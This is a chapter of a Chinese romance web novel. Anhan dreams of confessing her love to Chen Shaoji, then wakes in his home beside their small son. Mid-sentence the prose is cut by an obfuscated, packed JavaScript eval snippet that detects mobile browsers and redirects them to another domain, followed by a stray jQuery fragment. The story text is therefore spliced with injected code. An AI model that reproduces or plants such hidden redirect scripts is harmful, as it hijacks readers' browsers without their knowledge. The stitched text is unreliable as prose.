安寒这一觉睡得并不安稳,她好像做了一个很长很长的梦。
梦里先是坐上了一条大船,晃晃悠悠地漂来漂去,终于着陆之后有一只大蚊子,一直在她的周围飞来飞去,飞到她脸上的时候她赏了那蚊子一巴掌。
后来有一只滚烫的火炉被塞到了她的怀里,在她的怀里滚来滚去。
这一觉很沉,沉得几乎让人难辨虚实。
大概是几个小时前许下那个二十一岁的心愿的她太过虔诚,在梦里她居然真的回到了二十一岁。
回到了对陈少季告白的那一天。
——
彼时的安寒因为在《了不起的女孩》出道失败、正在经历被公司雪藏的第五年,前途一片灰暗的她又在此时得知了陈少季即将离开公司和兴睿娱乐解约的消息。
她终于决定破罐子破摔地向陈少季告白。
安寒很难形容当时的心情。
她分不清是想将喜欢的心情告诉他的迫切更多一些,还是只是对他永远比她顺遂、比她具备随时出走的勇气感到嫉妒。
又或者是,单纯地、想要搅乱陈少季一向看起来游刃有余的心境。
所以当她出现在音乐教室,看着陈少季将自己的音响设备打包带走的时候,她说出了那句“我们能谈谈吗?”
陈少季有些诧异地看着她,但很快又露出与往日无异的淡淡笑意,似乎是在面对一个许久不见的旧友。
他开口道:“你也来跟我告别吗?”
他说完还有心情揶揄道:“不用了吧,凭我们的关系还是可以偷偷见面的。”
其实安寒很想问问他,凭他们的关系是什么关系呢?
是从签约之后就每天一起训练的战友,还是在公司低头不见抬头见的同事?
还是可以聊聊心事说说困难的朋友?
安寒垂下头,从陈少季的角度刚好能看到女孩雪白的耳尖涨得通红。
许久之后。
她的声音在寂静的音乐教室里回响。
她说:“陈少季,我不能跟你偷偷见面,因为…我喜欢你。”
再抬眼的时候她似乎已经蓄满了全部的勇气,一字一句地说道:“因为我喜欢你,所以你要么和我在一起,要么就再也别见我。”
陈少季从小到大,收到的告白信万万千,但从没有哪个女孩如此铿锵有力地给出这么决绝的两个选项。
要么接受我,要么就再也不见。
陈少季真的在当下、在安寒灼热的注视下认真地思索起这两个选项。
最后他考虑的结论是:
前者好像没那么难接受,而后者好像没那么容易接受。
在安寒呼吸都紧张地停滞的时候,陈少季终于开口。
“也行。”
他说。
他看着安寒呆愣的神情,像是怕她听不懂一样,补充道:“我说…我不想和你再也不见。”
他在二分之一的选择里排除了更不想做的那个。
剩下的就是标准答案。
安寒在一段时间的反应过后,回过神来,丢下一句“再联系”之后就飞快地跑出了音乐教室。
留下陈少季有些好笑地站在原地。
其实这场告白没什么让安寒念念不忘或者后悔的,陈少季一没有拒绝她,二没有在他们的恋爱里消极怠工。
只是…
只是安寒后来知道了两件事。
第一件事,那天在她告白的音乐教室里,不止有她和陈少季;
第二件事,A或者B的选项里,诡计多端的陈少季选择的是非B,剩下的A其实不是唯一的标准答案,还有一个答案叫做or。
前者的后果彻底打乱了安寒和陈少季的人生,这场恋爱注定无疾而终,因为安寒被动成为了兴睿与陈少季解约之战中的悲催人质。
至于后者,当安寒的好友顾之桃笑嘻嘻地把这个关于or的笑话讲给安寒听的时候,转过身才发现好友眼中突如其来的泪意。
……
后来的安寒一直很想问问陈少季:
你从哪一刻开始确认你是喜欢我的呢?
你接受我爱意的时候不曾犹豫,在恋爱的时候将爱意写到尽兴,在得知我背离的时候更不曾放弃我。
他们将这称之为爱情。
他们说爱情是生死不弃、是情深意重。
那么总该有那么一个时刻,被冠以爱情的标注,而不是在故事的最后,只留下相互亏欠的结局。
——
安寒睁开眼的时候是早上八点半。
比起朦胧的睡意,最先感到的是手臂的酸麻,她睁开眼,看到了怀中窝着的小星星。
星星已经醒来,但因为是第一次在麻麻怀中醒来,小朋友不哭也不闹,枕着麻麻的手臂乖乖地自己和自己玩。
玩玩自己的小手、玩玩自己的小脸、最后玩玩自己的小脑袋。
最后仰起头,对上麻麻迷蒙着眼沉思的目光。
虽然周二的晚上又被麻麻骗着自己睡觉了,但是周四的早上睁开眼居然看到了麻麻,小星星已经原谅了麻麻。
所以他往麻麻的怀里又钻了钻,表达自己的喜欢。
安寒看着怀中的小人,打量了一下四周。
这是陈少季家里的主卧。
换而言之,这是陈少季的床。
这张床的四周都被围栏挡起,房间内的陈设俨然是陈少季的风格。
不仅如此,不知道是不是安寒的错觉,她好像已经被陈少季的气息包围,呼吸间都是清爽的男士熏香的味道。
安寒猛地从床上坐起。
小星星和麻麻对视几秒后,以为安寒在和自己玩游戏,也学着麻麻的样子猛地从床上坐起来,然后满怀期待地等着麻麻的下一个动作。
他可爱的动作和亮晶晶的眼睛让安寒忍不住地用大拇指蹭了蹭他的脸颊。
安寒环顾四周,终于确认了陈少季不在这片空间内,长舒一口气。
她低头看看,发现自己还穿着昨天那身吊带长裙。
对于自己上了陈少季的车睡着之后发生的事情她居然一点印象都没有。
安寒有些懊恼,但是对上小星星清澈懵懂的目光,又将这种情绪抛之脑后。
她再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271056|182300||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次伸手刮了刮小朋友的脸蛋,柔声道:“早上好呀…宝宝。”
小星星真的好喜欢好喜欢麻麻,一早上就看到麻麻心情好得像是泡在了蜜罐里,他甜蜜蜜地捂住了脸,露出一只圆溜溜的眼睛,羞羞地回应:“麻麻…麻麻好…”
一大一小坐在床上,静谧的空气里都充满了名为爱的温暖气息。
这样的氛围很快被打破,有人敲响了主卧的房门。
不用想都知道是陈少季。
星星和安寒一起看向门口,小朋友很有在自己主场的自觉,自作主张地邀请道:“爸爸进来!”
陈少季将房门打开,和安寒对视两秒,用手按开了房间的窗帘的开关。
猛烈的阳光一点一点地跟随着窗帘的分开缓慢露出。
安寒不自觉地眯眼适应了一下,这个间隙陈少季已经走到床边将四周的防护栏放下。
陈少季看着安寒屈腿坐在自己的床上,眼睛闪了闪。
因为星星必须要睡在有护栏的主卧里,所以昨晚他把主卧让给了星星和安寒,自己去睡了客房。
——他可没有失心疯到这个时候一家三口睡在一张床上。
不是不想,是他怕安寒睁开眼就把他拉黑。
陈少季坐在床边,捏了捏小星星阳光明媚的笑脸,心想他倒是睡得开心了。
安寒自从陈少季进屋后就收起了对着小星星的笑脸,面无表情地看着陈少季。
陈少季将儿子捞到了腿上,面朝安寒坐着,然后很有底气地开口道:“看我干什么?我可是把你送到你家门口了,谁知道怎么叫你都不睁眼…”
看安寒还是油盐不进的样子,陈少季抓着星星的手拉了拉安寒的胳膊,倒反天罡;“也就是我心地善良,不忍心把你丢在你家门口冰冷的地上…”
安寒看着陈少季握着送来拉自己的、属于星星的小手,心口软软的,说不出什么不识好歹的话,只是看着乱七八糟的自己有些头疼:“我下午要去隔壁市录综艺…”
她已经确定了十月初进组,将近二十天的空档期里,肖一倩给她接了一个音乐类的封闭综艺,她今天下午就要出发,行李还一点都没收拾。
陈少季已经在客卧洗漱干净,轻笑一声,拍了拍小星星的屁股:“带妈妈去洗脸刷牙。”
他站起身,仅仅用了两秒就思考好了所有的安排,有条不紊地说道:“我和星星送你回去收拾行李,现在、起床、跟星星去洗漱,然后出来吃早餐。”
小星星收到爸爸的命令,立刻手脚并用地顺着床沿爬下去,四处寻找着自己的小拖鞋。
而安寒还有些迷茫地坐在床上,没来得及反应。
她不清醒的时候总是皱着眉大脑放空动作迟缓。
从陈少季站在床边的视角看过去,她侧坐在他的床上,身上的吊带长裙随着她早上和小星星互动的动作,有一侧的肩带顺着她光滑裸露的肌肤滑了下来。
极细极细的肩带在阳光的闪耀下像是要灼伤陈少季的眼睛。
于是陈少季伸手,将细带勾住,拉回到安寒的肩膀上,然后在安寒反应过来杀了他之前离开了房间。